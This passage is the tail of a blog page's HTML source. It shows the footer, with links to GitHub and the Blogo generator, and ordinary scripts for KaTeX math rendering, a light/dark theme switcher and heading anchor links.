  409. </li>
  410. <li><a href="https://github.com/arnaucube"
  411. style="color:gray;text-decoration:none;"
  412. target="_blank">github.com/arnaucube</a>
  413. </li>
  414. </ul>
  415. </div>
  416. <div class="row" style="display:inline-block;">
  417. Blog made with <a href="http://github.com/arnaucube/blogo/"
  418. target="_blank" style="color: gray;text-decoration:none;">Blogo</a>
  419. </div>
  420. </div>
  421. </footer>
  422. <script>
  423. </script>
  424. <script src="js/external-links.js"></script>
  425. <script>hljs.initHighlightingOnLoad();</script>
  426. <script defer src="js/katex/katex.min.js"></script>
  427. <script defer src="js/katex/auto-render.min.js"></script>
  428. <script>
  429. document.addEventListener("DOMContentLoaded", function() {
  430. renderMathInElement(document.body, {
  431. displayMode: false,
  432. // customised options
  433. // • auto-render specific keys, e.g.:
  434. delimiters: [
  435. {left: '$$', right: '$$', display: true},
  436. {left: '$', right: '$', display: false},
  437. {left: "\\[", right: "\\]", display: true},
  438. {left: "\\(", right: "\\)", display: false},
  439. ],
  440. // • rendering keys, e.g.:
  441. throwOnError : true
  442. });
  443. });
  444. ///
  445. let theme = localStorage.getItem("theme");
  446. if ((theme === "light-theme")||(theme==null)) {
  447. theme = "light-theme";
  448. document.getElementById("themeSwitcher").checked = false;
  449. } else if (theme === "dark-theme") {
  450. theme = "dark-theme";
  451. document.getElementById("themeSwitcher").checked = true;
  452. }
  453. document.body.className = theme;
  454. localStorage.setItem("theme", theme);
  455. function switchTheme() {
  456. theme = localStorage.getItem("theme");
  457. if (theme === "light-theme") {
  458. theme = "dark-theme";
  459. document.getElementById("themeSwitcher").checked = true;
  460. } else {
  461. theme = "light-theme";
  462. document.getElementById("themeSwitcher").checked = false;
  463. }
  464. document.body.className = theme;
  465. localStorage.setItem("theme", theme);
  466. console.log(theme);
  467. }
  468. </script>
  469. <script>
  470. function tagLinks(tagName) {
  471. var tags = document.getElementsByTagName(tagName);
  472. for (var i=0, hElem; hElem = tags[i]; i++) {
  473. if (hElem.parentNode.className=="row postThumb") {
  474. continue;
  475. }
  476. hElem.id = hElem.innerHTML.toLowerCase().replace(" ", "-");
  477. hElem.innerHTML = "<a style='text-decoration:none;color:black;' href='#"+hElem.id+"'>"+hElem.innerHTML+"</a>";
  478. }
  479. }
  480. tagLinks("h2");
  481. tagLinks("h3");
  482. tagLinks("h4");
  483. tagLinks("h5");
  484. </script>
  485. <script src="js/mermaid.min.js"></script>
  486. </body>
  487. </html>